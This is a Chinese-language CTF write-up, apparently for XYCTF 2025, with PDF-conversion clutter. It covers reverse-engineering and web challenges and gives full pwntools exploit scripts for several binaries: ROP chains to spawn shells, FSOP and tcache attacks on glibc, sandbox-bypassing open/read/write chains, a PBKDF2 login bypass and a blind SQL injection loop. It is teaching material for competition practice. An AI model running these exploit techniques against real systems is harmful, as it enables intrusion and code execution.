0xF2A2E59B,
0x011B94D2,
};
// 爆破前7字节
for (int i = 0; i < 7; i++)
{
for (int c = 28; c < 132; c++)
{
if ((~box1[(uint8_t)c ^ 0x79] ^ 0xB0E0E879) == enc1[i]) {
printf("%c", c);
break;
}
}
可知前7个字符为 moshui_ ,密钥也就呼之欲出了: 0x42B2986C,
0x12345678,{width="2.3611100174978126in"
height="0.2876213910761155in"}0x0D6D6A3E, 0x89ABCDEF脚本如下(感谢□不知道□战队□liv师傅□的脚本):□
代码块□
#include <iostream>
#include <bitset>
#include <cmath>
#include <windows.h> #include <algorithm> using namespace std;
{width="7.513888888888889in"
height="9.890082020997376in"}
typedef bitset<16> code;
{width="0.3506933508311461in"
height="9.45484251968504in"}typedef bitset<128> key;bitset<16> sub_key[52];
bitset<16> inv_sub_key[52];code XOR(code code_1, code code_2)
{
return code_1 ^ code_2;
}
code Plus(code code_1, code code_2)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
{
tmp += code_1[i] * pow(2, i) + code_2[i] * pow(2, i); }
tmp %= 65536;
return bitset<16>(tmp);
}
code invPlus(code code_in)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
tmp += code_in[i] * pow(2, i); tmp = 65536 - tmp;return bitset<16>(tmp);
}
code Times(code code_1, code code_2)
{
long long tmp_1 = 0, tmp_2 = 0;
42
43
44
45
46
47
48
49
50
{width="7.513888888888889in"
height="10.957760279965004in"}5152
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
for (int i = 0; i < 16; i++)
{
tmp_1 += code_1[i] * pow(2, i);
tmp_2 += code_2[i] * pow(2, i);
}
if (tmp_1 == 0)
tmp_1 = 65536;
if (tmp_2 == 0)
tmp_2 = 65536;
long long tmp = (tmp_1 * tmp_2) % 65537;
return bitset<16>(tmp == 65536 ? 0 : tmp);
}
void Exgcd(int a, int b, int &x, int &y)
{
if (!b)
x = 1, y = 0;
else
Exgcd(b, a % b, y, x), y -= a / b * x;
}
code invTimes(code code_in)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
tmp += code_in[i] * pow(2, i); int x, y;
int p = 65537;
Exgcd(tmp, p, x, y);
x = (x % p + p) % p;
return bitset<16>(x);
}
void subkeys_get(code keys_input[8])
{
key keys;
for (int i = 0; i < 8; i++)
for (int j = 0; j < 16; j++)
keys[j + 16 * i] = keys_input[7 - i][j];
for (int i = 0; i < 8; i++)
for (int j = 0; j < 16; j++)
sub_key[i][15 - j] = keys[127 - (j + 16 * i)];
for (int i = 0; i < 5; i++)
{
key tmp_keys = keys >> 103;
{width="7.513888888888889in"
height="0.12442694663167105in"}
得到flag□
flag{moshui_build_this_block}后话□
内联与优化□
该程序在进⾏函数内联的同时,⼜没有进⾏多余优化,得益于对编译器的设置,在Debug配置下(不
进⾏优化)设置如下规则。
{width="4.895833333333333in"
height="1.9895833333333333in"}
{width="5.104165573053368in"
height="0.9895833333333334in"}
这样的设置可以使得 __forceinline
关键字声明的函数被编译器强制内联,⽐如这⾥奇怪的crc就是被这样内联进去的。
{width="7.479166666666667in"
height="5.249998906386701in"}
{width="7.479165573053368in"
height="0.3854166666666667in"}
API调⽤混淆□
相信⼤家可以注意到,所有的API调⽤都没有任何直接引⽤。□
这⾥我是⽤的C++的⼀个好玩的关键字 constexpr
来完成的,把对于调⽤函数的名字进⾏哈希。□解析则通过
1. ⼿动指定调⽤的dll□
2. 解析导出表
3. 导出函数名字哈希计算匹配
4. 检测函数头是否被断点或者hook□
5. 转发参数,调⽤函数相信⼤家在逆向来看更直观,因为函数我给他内联了。
然后后⾯调⽤什么的⽤的则是模板来实现。
调⽤起来也是⾮常的⽅便。
举个例⼦,⽐如这⾥注册窗⼝class□
{width="7.479166666666667in"
height="3.302082239720035in"}
具体实现⼤家看代码吧!
代码:https://github.com/moshuiD/EncryptIAT□MDriver1.0□
0解就不给wp了,这题需要⼿搓代码来与驱动交互的。有⼈做出来可以联系我qq:2967529593□
ezVM□
可以参考liv✌的wp,写得⾮常好□
https://tkazer.github.io/2025/04/07/XYCTF2025/□Pwn□
明⽇⽅⾈寻访模拟器
set□follow-fork-mode□parent□
签签⼜到到,PIE和canary没开,简单的ret2text,只要考虑传参的问题就OK。这道题两种做法,好想
的是栈迁移写/bin/sh然后getshell;第⼆种做法是这道题⾥留的⼀个trick,那就是每次抽卡后都会增
加的sum_count变量,这个地⽅其实是间接可控的,只要控制抽卡数量就可以了,我们考虑将这个地
⽅劫持为sh这个字符串的⼗六进制,这样⼀来我们就不⽤进⾏繁琐的栈迁移,⽽可以直接ret2text了。□EXP□
{width="7.513888888888889in"
height="0.9861111111111112in"}1
2
3
from pwn import *
r = process("./arknights")
# r = remote('43.248.97.213', 30168)
4
5
6
7
8
9
{width="7.513888888888889in"
height="6.957706692913386in"}1011
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
context.log_level = 'debug'
rdi = 0x4018e5
ret = 0x40101a
system = 0x4018FC
count = 0x405BCC # sh
payload = b'a'*0x48+p64(rdi)+p64(count)+p64(system)
def ck(n):
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(str(n).encode()) r.sendline(b'\n')
r.sendline(b'a') ck(10000)
ck(10000)
ck(6739)
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'1')
r.sendline(payload)
r.interactive()
EZ3.0□
明显的栈溢出。通过IDA汇编或者动调可以确认输⼊点距离fp的⼤⼩□
{width="6.760415573053368in"
height="1.9895833333333333in"}
按照国际惯例(⾃⼰体会)我们要劫持的是sp+0x3c的位置,函数返回时会将这个位置pop给ra寄存器
随后jr□$ra。这道题我们需要将给的后⻔命令字符串传⼊a0寄存器。题⽬中给出了合适的gadget,因此这道题⾮常的简单
{width="2.4479166666666665in"
height="1.0208333333333333in"}
甚⾄安排好了rop链的可能,因此只要排好栈布局就能成功打印flag。注意sp在lw后会向⾼地址+4。
EXP□
1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='mips', os='linux', log_level='debug')
r = process('qemu-mipsel ./EZ3.0', shell=True)
sh = 0x411010
system = 0x400b70 # .stubs
gadget = 0x400A20 # lw a0, 8(sp);lw t9, 4(sp);jalr $t9
payload = b'a'*0x24+p32(gadget)+p32(0xdeadbeef)+p32(system)+p32(sh)
r.recv()
r.send(payload)
r.interactive()
bot□
protobuf+FSOP□
逆向教程⽹上有很多,这⾥直接给出proto代码□1
2
3
4
5
6
7
8
9
10
11
12
13
14
syntax = "proto2";
message Message_request{
required int32 id = 1;
required string sender = 2;
required uint32 len = 3;
required bytes content = 4;
required int32 actionid = 5;
}
message Message_response{
required int32 id = 1;
required string receiver = 2;
required int32 status_code = 3;
optional string error_message = 4; }//这个没⽤
程序⾥对堆的操作只有edit和show两个,模拟了影⼦栈的实现,所以显然这题其实重点不在堆⻛⽔。
不难发现edit和show的index是没有边界检查的,并且是有符号数,这是⼀个很明显的数组越界,保护
全开,考虑劫持stdout打FSOP或劫持got表也是可以的。□
堆地址的泄漏和libc地址的泄露都依赖于sub_81B5函数中存储的地址。接下来就是构造fake_io_file然
后利⽤负数index劫持stdout即可。□EXP□
1
2
3
4
5
6
{width="7.513888888888889in"
height="8.848360673665791in"}78
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import message_pb2 as pb
# r = process('./bot')
r = remote('0.0.0.0', 8888)
context(arch='amd64', os='linux', log_level='debug') e =
ELF('./bot')
libc = ELF('./libc.so.6')
def edit(idx, len, content=b'c_lby'):
msg = pb.Message_request()
msg.id = idx
msg.sender = b'admin'
msg.len = len
msg.content = content
msg.actionid = 1
r.sendafter(b'TESTTESTTEST!\n', msg.SerializeToString())
def show(idx):
msg = pb.Message_request()
msg.id = idx
msg.sender = b'admin'
msg.len = 1
msg.content = b'c_lby'
msg.actionid = 2
r.sendafter(b'TESTTESTTEST!\n', msg.SerializeToString())
# 泄露堆地址
edit(0, 8, b'deadbeef')
edit(1, 8, b'deadbeef')
show(2)
r.recvuntil(b'BOT MSG\n')
heap_c = r.recv(5)
heap = u64(heap_c.ljust(8, b'\x00'))*0x1000 success(hex(heap))
# 泄露libc地址
38
39
40
41
{width="7.513888888888889in"
height="5.124373359580052in"}4243
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
edit(0, 48, b'a'*0x28+p64(heap+0x2a0))
show(1)
r.recvuntil(b'BOT MSG\n')
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x29d90
success(hex(libc_base))
fake_file = flat({
0x0: b' sh;',
0x10: p64(libc_base + libc.symbols['system']),
0x20: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),
0x88: p64(libc_base + 0x21ca70), # _lock
# 0x88: p64(libc_base + libc.symbols['_environ']-0x10), # _lock
0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),
0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] + 0x10),
0xe0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']-8),
}, filler=b"\x00")
edit(-4, 0x150, b'a'*0x5d+fake_file)
r.interactive()
web苦⼿□
爱来⾃SfTian师傅□
这是⼀道基于http的pwn(misc)题,如果您掌握着lighttpd的0day或者1day或者其他web知识也许
可以直接打通这道题......这道题⾥初⼼其实就是这个HMAC碰撞的问题,但是为了更像pwn题,所以也
留了\x00截断的可能性,因此这道题有很多打法。程序的登录逻辑是有问题的,前⾯要求密码⻓度⼤于64,后⾯要求密码⻓度⼩于64,密码储存的⽅式
是通过pbkdf2算法。这个算法有⼀个问题,就如参考⽂章中所提到,pbkdf2算法在输⼊的密码⻓度⼤
于64时,会先对密码进⾏⼀次哈希(默认是sha1,题⽬中也是),然后再进⾏后续处理。利⽤这⼀
点,我们可以知道⼀条⻓度⼤于64的密码和其对应哈希值转为ascii字符后的密码,两条密码对于
pbkdf2⽽⾔是等价的。□
{width="5.371527777777778in"
height="0.28409558180227473in"}于是我们可以构造url如下:
?passwd_re=Nev1r-G0nna-G2ve-Y8u-Up-N5v1r-G1nna-Let-
{width="3.2986100174978126in"
height="0.29104002624671915in"}Y4u-D1wn-N8v4r-G5nna-D0sert-You?passwd_lo=pkH8a0AqNbHcdw8GrmSp
当然这个构造是不唯⼀的,也可以⾃⼰换成其他密码,但是并不是每个密码的哈希转成ascii都是可⻅
字符,那么可能需要考虑url编码的问题,这⾥不赘述。□
下⼀个点就是获取flag的问题。这题的flag.dat,显⽽易⻅,是假flag,真flag⽂件名就叫flag,我们可
以利⽤snprintf函数末尾添加\x00截断的性质,构造
?filename=//////////flag ,就能获取
{width="0.17361001749781277in"
height="0.28062335958005247in"}flag了。注意passwd_lo和filename是同时获取的,因此需要两个参数同时传参
?{width="5.694443350831146in"
height="0.28756780402449694in"}passwd_lo=pkH8a0AqNbHcdw8GrmSp&filename=//////////flag
。奶⻰回家
开了沙箱,典型的ORW,程序会在开始时输出rbp寄存器+0x50到0x200的随机值,有⼀个任意地址读
写的循环(可以通过整型溢出来实现多次循环),写的次数没有额外限制,但是读只能进⾏⼀次,总循环
执⾏到5次时就会调⽤sleep函数,虽然系统调⽤中允许了nanosleep的系统调⽤,但是是sleep函数调
⽤的并⾮nanosleep,所以会导致程序崩溃,考虑⽤⼀段⽆关紧要的函数地址覆盖掉sleep的got表,联想到给出的rbp寄存器+0x50到0x200的随机值结合nop空雪橇操作,不难想到ret空雪橇操作,将rbp寄
存器+0x50到0x200的随机值补成8的倍数,保守直接减去0x200(通过IDA可以看到有⼀个很⼤的char类
型数组,所以不⽤担⼼把环境变量等程序关键结构覆盖),然后填写很多ret,最后就是常规的ORW了,将exit的got表覆盖为leave_ret,输⼊5后程序执⾏流就被劫持到ret滑梯上了,题⽬是不提供libc
的,可以先在本地打通,打远程的时候通过libc-database去查,试⼏次就对了□EXP□
1
2
3
4
{width="7.513888888888889in"
height="6.327527340332458in"}56
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#sh = remote('39.106.16.204',41037)
elf = ELF('./nailong')
libc = ELF('./libc6_2.35-0ubuntu3.8_amd64.so')
#sh = process('./nailong')
sh = remote('127.0.0.1',9999)
#gdb.attach(sh,'b* 0x401AF0\nc')
bypass_addr = 4210784
bss_addr = 4211104
read_addr = 4210888
ret_addr_1 = 0x0040101a
ret_addr_2 = 0x00000000
bss_addr_1 = 0x004041A0 bss_addr_2 = 0x00000000
flag_addr_1 = 0x004041C0 flag_addr_2 = 0x00000000
exit_addr = 4210872
sh.recvuntil('offset:')
rbp_offset_addr = int(sh.recvuntil('end')[:-3].decode())
if rbp_offset_addr % 8 != 0:
rbp_offset_addr += 8 - (rbp_offset_addr % 8)
success(hex(rbp_offset_addr))
sh.sendlineafter('xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma\n',str(-1))
sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bypass_addr))
27
28
29
30
31
32
33
34
35
{width="7.513888888888889in"
height="10.957706692913385in"}3637
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
sh.sendafter('read you want\n',p32(0x4017A8))
sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bss_addr))
sh.sendafter('read you want\n',b'/fla')
bss_addr += 0x4
sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bss_addr))
sh.sendafter('read you want\n',b'g\x00\x00\x00')
rbp = rbp_offset_addr - 0x200
rbp +=0x8
#success(hex(rbp))
for i in range(1,65):
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(ret_addr_1)) rbp += 0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(ret_addr_2)) rbp +=0x4
sh.sendlineafter('chose 4 bin/sh\n',str(1))
sh.sendafter('what you want do?\n',str(read_addr)) read_got =
u64(sh.recv(6).ljust(8,'\x00'.encode())) success(hex(read_got))
#success(hex(rbp))
offset = read_got - libc.symbols['read']
libc.address = offset
pop_rdi = 0x000000000002a3e5 + offset
pop_rdi_1 = pop_rdi & 0xFFFFFFFF
pop_rdi_2 = (pop_rdi >> 32) & 0xFFFFFFFF
leave_ret = 0x000000000004da83 + offset
leave_ret_1 = leave_ret & 0xFFFFFFFF
leave_ret_2 = leave_ret >> 32
pop_rsi = 0x000000000002be51 +offset
pop_rsi_1 = pop_rsi & 0xFFFFFFFF
pop_rsi_2 = (pop_rsi >> 32) & 0xFFFFFFFF
pop_rdx = 0x0000000000401650
pop_rdx_1 = pop_rdx & 0xFFFFFFFF
pop_rdx_2 = (pop_rdx >> 32) & 0xFFFFFFFF
open_addr = libc.symbols['open']
open_addr_1 = open_addr & 0xFFFFFFFF
open_addr_2 = (open_addr >> 32) & 0xFFFFFFFF
read_addr = libc.symbols['read']
read_addr_1 = read_addr & 0xFFFFFFFF
read_addr_2 = (read_addr >> 32) & 0xFFFFFFFF
write_addr = libc.symbols['write']
write_addr_1 = write_addr & 0xFFFFFFFF
74
75
76
77
78
79
80
81
{width="7.513888888888889in"
height="9.707706692913385in"}8283
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
write_addr_2 = (write_addr >> 32) & 0xFFFFFFFF
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(exit_addr))
sh.sendafter('read you want\n', p32(leave_ret_1)) exit_addr +=0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(exit_addr))
sh.sendafter('read you want\n', p32(leave_ret_2)) def
rop_chain(v1, v2, rbp):
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(v1))
rbp += 0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(v2))
rbp += 0x4
return rbp
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(bss_addr_1, bss_addr_2, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(0, 0, rbp)
rbp = rop_chain(open_addr_1, open_addr_2, rbp)
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(3, 0, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(flag_addr_1, flag_addr_2, rbp)
rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp)
rbp = rop_chain(0x50, 0, rbp)
rbp = rop_chain(read_addr_1, read_addr_2, rbp)
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(1, 0, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(flag_addr_1, flag_addr_2, rbp)
rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp)
rbp = rop_chain(0x50, 0, rbp)
rbp = rop_chain(write_addr_1, write_addr_2, rbp)
sh.sendlineafter('chose 4 bin/sh\n', str(5))
sh.interactive()
#0x7fffc9f571dfs
#140736581693919
Ret2libc's□Revenge□
简单查看⼀下题⽬的保护,发现没有开启canary以及PIE保护
{width="3.531248906386702in"
height="1.552082239720035in"}
代码逻辑很简单,puts输出,revenge函数⾥⾯是数组溢出□
{width="7.020832239720035in"
height="1.708332239720035in"}
{width="4.072916666666667in"
height="4.895833333333333in"}
下⾯我们尝试运⾏⼀下题⽬,我们发现必须要先输⼊等程序结束了才会有输出,这是为什么呢?
{width="2.718748906386702in"
height="0.4479166666666667in"}
通过观察可以发现我们的附件的setvbuf对于stdout没有设置为2(关闭缓冲区)⽽是设置为了0(全缓冲)□
{width="6.552082239720035in"
height="3.65625in"}
通过上⾯这张图我们可以了解到全缓冲模式的输出两件有两个
1.缓冲区满□
2.调⽤fflush()函数□
⽽显然程序中没有fflush函数,如果我们想要重新使⽤setvbuf函数将stdout设置为2(⽆缓冲模式)也⽐
较⿇烦因为我们很难再有限的程序中找到我们想要的gadget来控制各个寄存器□因此这⾥我们所剩下的⽅法⼤概就是将缓冲区填满以此让程序输出
EXP□
代码块□
{width="7.513888888888889in"
height="2.494194006999125in"}from pwn import *
{width="0.3506933508311461in"
height="2.058956692913386in"}context(arch='amd64',
os='linux',log_level='debug')elf = ELF('./pwn2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 这⾥远程环境和这份exp⽤的都是Ubuntu GLIBC 2.35-0ubuntu3.9
io = process('./pwn2')
9
10
11
12
13
14
15
16
17
{width="7.513888888888889in"
height="10.957706692913385in"}
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
stdout_addr = 0x404060
mov_edi_esi_ret = 0x0000000000401181#: mov edi, esi; ret;
add_rsi_rbp_ret = 0x00000000004010eb#: add rsi, qword ptr [rbp +
0x20]; ret; mov_rdi_rsi_ret = 0x0000000000401180#: mov rdi, rsi;
ret;
pop_rbp_ret = 0x000000000040117d#: pop rbp; ret;
mov_rdi_rax_call_ret = 0x00000000004011f0 #: mov rdi, rax; call
0x10a0; mov
eax, 0; pop rbp; ret;
xor_rdi_and_rsi_ret = 0x00000000004010e0#: xor rdi, rdi; nop; and
rsi, 0; ret; load_puts = 0x400600
puts_str = 0x40128D
payload = b'a'*(528+12)
# payload += p8(0x20) # 这⾥0x20恰好后⾯可以覆盖rbp payload +=
p8(0x28) # 这⾥0x28恰好后⾯可以覆盖rip payload += p64(puts_str)
# 这⾥远程环境的缓冲区是0x1000多需要⼤概需要214次循环 #
我本地是0x400⼤概只需要52次左右就可以了
# for i in range(214):
for i in range(52):
io.sendline(payload)
payload2 = b'a'*(528+12)
# payload += p8(0x20) # 这⾥0x20恰好后⾯可以覆盖rbp payload2 +=
p8(0x28) # 这⾥0x28恰好后⾯可以覆盖rip payload2 +=
p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(puts_str)
55
56
57
58
59
{width="7.513888888888889in"
height="6.499373359580052in"}6061
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
io.sendline(payload2)
# for i in range(215):
for i in range(53):
io.recvuntil(b"Ret2libc's Revenge\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print("puts_addr: ",
hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] print("libc_base:
", hex(libc_base))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret; ret =
libc_base + 0x00000000000f7493#: ret;
payload3 = b'a'*(528+12)
# payload += p8(0x20) # 这⾥0x20恰好后⾯可以覆盖rbp payload3 +=
p8(0x28) # 这⾥0x28恰好后⾯可以覆盖rip payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh_addr)
payload3 += p64(ret)
payload3 += p64(system_addr)
io.sendline(payload3)
io.interactive()
girlfriend□
相对难度⽐较低也⽐较常规
程序⾥⾯有格式化字符串漏洞(选项3)和□栈溢出(选项1溢出16字节)□
⼤致思路如下:□
步骤⼀:□选择3使⽤格式化字符串漏洞同时泄露程序基地址,canary,libc基地址□
步骤⼆:□选择3不使⽤格式化字符串漏洞选择往⾥⾯塞ROP为后续的栈迁移做准备□
步骤三:□选择1栈迁移到ROP布置的位置上□
注意:□
我们布置ROP的话不要覆盖到下⾯的全局变量,否则可能导致我们后续没办法使⽤栈迁移□
{width="7.479166666666667in"
height="2.812498906386702in"}
其次程序开启了沙箱保护,不允许使⽤open(可以使⽤openat代替)并且使⽤read函数的时候第⼀次参
数只允许为0□
所以这⾥我们需要close(0)之后再调⽤openat打开flag⽂件进⾏读取,否则⽆法使⽤read读取□
{width="5.916665573053368in"
height="3.2291655730533684in"}
EXP□
代码块□
{width="7.513888888888889in"
height="3.0150273403324586in"}from pwn import * # 从 pwntools
库导⼊所有模块和函数 context.arch = 'amd64'
{width="0.3506933508311461in"
height="2.579790026246719in"}context.os = 'linux'elf = ELF('./girlfriend')
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path)io = process('./girlfriend')
def talk_her(content):
io.sendlineafter("Your Choice:\n", str(1))12
13
14
15
16
17
18
19
20
{width="7.513888888888889in"
height="10.957706692913385in"}2122
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
io.sendafter("what do you want to say to her?", content)
def get_name(comment):
io.sendlineafter("Your Choice:\n", str(3))
io.sendafter("You should tell her your name first", comment)
io.recvuntil("your name:\n")
get_name("%15$p_%17$p_%7$p")
io.recvuntil("0x")
canary = int(io.recv(16),16)
io.recvuntil("0x")
libc_base = int(io.recv(12),16) - 0x29D90 io.recvuntil("0x")
elf_base = int(io.recv(12),16) - 0x18D9
bss_addr = elf_base + 0x004060
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12;
ret; pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;
syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;
leave_ret = libc_base + 0x000000000004da83#: leave; ret;
opnat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr = libc_base + libc.sym['close']
payload = flat([
'flag\x00\x00\x00\x00', 0, 0, 0,
0, 0,
0, pop_rdi_ret,
0, close_addr,
pop_rdi_ret, -100,
pop_rsi_ret, bss_addr,
pop_rdx_r_ret, 0x0, 0,
opnat_addr,
pop_rdi_ret, 0,
pop_rdx_r_ret, 0x100, 0,
read_addr,
pop_rdi_ret, 1,
pop_rdx_r_ret, 0x100, 0,
pop_rax_ret, 1,
write_addr,
])
59
{width="7.513888888888889in"
height="1.6938178040244969in"}6061
62
63
64
get_name(payload)
payload = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30) +
p64(leave_ret) talk_her(payload)
io.interactive()
heap2□
这⾥直接参考ddw战队的wp□
{width="7.479166666666667in"
height="6.999998906386701in"}
{width="7.513888888888889in"
height="0.12961067366579176in"}EXP□代码块from pwn import *
#io = remote("47.93.96.189", 28742)
io = process("./heap2")
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64')
#context.log_level='debug'def debug():
gdb.attach(io)
#debug()
{width="7.513888888888889in"
height="10.957706692913385in"}def malloc(size, content):io.sendafter(b'> ', b'1')
io.sendafter(b'size: ', str(size).encode())
io.sendlineafter(b'data: ', content)def free(idx):
io.sendafter(b'> ', b'3')
io.sendafter(b'idx: ', str(idx).encode())def show(idx):
io.sendafter(b'> ', b'2')
io.sendafter(b'idx: ', str(idx).encode())malloc(0x410, b'a') #0 malloc(0x250, b'a') #1 malloc(0x410,
b'a') #2 malloc(0x250, b'a') #3 free(0)show(0)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
print(f'libc:{hex(libc.address)}')free(2)
show(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x14c10
print(f'heap:{hex(heap_base)}')for i in range(7):
malloc(0x250, b'a')
malloc(0x260, b'a')
free(1)
free(3)
for i in range(7):
free(4 + i)
fake_address = heap_base + 0x15de0
fake_io = flat({
0x00:p64(libc.address + 0x3f351),
0x08:p64(heap_base + 0x162a0),
0x28:p64(1),
0xa0:p64(fake_address + 0xe0),48
49
50
51
52
53
54
{width="7.513888888888889in"
height="8.79104002624672in"}5556
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
0xd8:p64(libc.sym["_IO_wfile_jumps"]), }, filler=b'\x00')
wide = flat({
0xe0:p64(fake_address + 0xe0 + 0xe8), }, filler=b'\x00')
wide_vtable = flat({
0x68:p64(libc.address + 0x986e5),
}, filler=b'\x00')
malloc(0x250, fake_io + wide + wide_vtable)
free(10)
payload = b'a' * 0x258 + p64(0x261) + p64(((heap_base >> 12) +
0x16) ^ libc.sym["_IO_list_all"])
malloc(0x4b0, payload)
rdi = libc.address + 0x10f75b
rdx = libc.address + 0xb0123 #mov rdx, rbx; pop rbx; pop r12; pop rbp;
ret
rbx = libc.address + 0x586d4
rsi = libc.address + 0x2b46b #pop rsi; pop rbp; ret;
payload = flat({
0x00:p64(libc.address + 0x4A98D),
0x08:b'./flag',
0x68:p64(heap_base + 0x162a0 + 0x8),
0xa0:p64(heap_base + 0x162a0 + 0xb0),
}, filler=b'\x00')
payload = payload.ljust(0xa8, b'\x00')
payload += p64(libc.sym["open"])
payload += p64(rdi) + p64(3) + p64(rbx) + p64(0x30) + p64(rdx) + p64(0)
* 3 + p64(rsi) + p64(heap_base) * 2 + p64(libc.sym["read"])
payload += p64(rdi) + p64(1) + p64(libc.sym["write"])
malloc(0x250, payload)
payload = p64(fake_address)[:-2]
malloc(0x250, payload)
#debug()
io.sendafter(b'> ', b'4')
io.interactive()
Web□
ez_puzzle□
我这⾥全程⽤⾕歌浏览器演⽰,做这道题⽅法有很多,这⾥我只演⽰我的⽅法。
前端有F12和⿏标右键的拦截:□
{width="4.489583333333333in"
height="1.84375in"}
⾕歌浏览器右上⻆有⼀个 <> ,点⼀下就能打开控制台了。
{width="1.09375in"
height="0.4791666666666667in"}
然后会触发程序的反调试。这⾥直接右键,然后选择"向忽略列表添加脚本"。整个程序就不会停⽌
了,但是这样我们也不能调试了。
{width="6.468748906386701in"
height="6.572915573053368in"}
然后因为这道题说两秒之内完成拼图,那么肯定是有时间差的。我们全局搜time□
发现了endTime和startTime两个变量,那么就猜测程序会在拼图完成后把两个变量作差,然后与2000
做⽐较,虽然endTime我们不知道,但是可以把startTime改的很⼤,然后作差为负数,也是⼩于2000的。
{width="1.8229166666666667in"
height="0.6354166666666666in"}
然后完成拼图即可。
{width="4.708333333333333in"
height="3.9166666666666665in"}
Ezsql(⼿动滑稽)□
预期解是这样的,使⽤了tab键来进⾏绕过空格;from□绕过limit(代码⾥的'lnvalid□username□or□
password',记得换成⻚⾯⾥的报错)□代码块□
{width="7.513888888888889in"
height="3.0462773403324586in"}import requests import time
{width="0.3506933508311461in"
height="2.611040026246719in"}
url = 'http://192.168.10.99/login.php'
flag = ''
char =
'qwertyuiopasdfghjkllzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_*,.'start = time.time()
for i in range(1, 50): for j in char:11
12
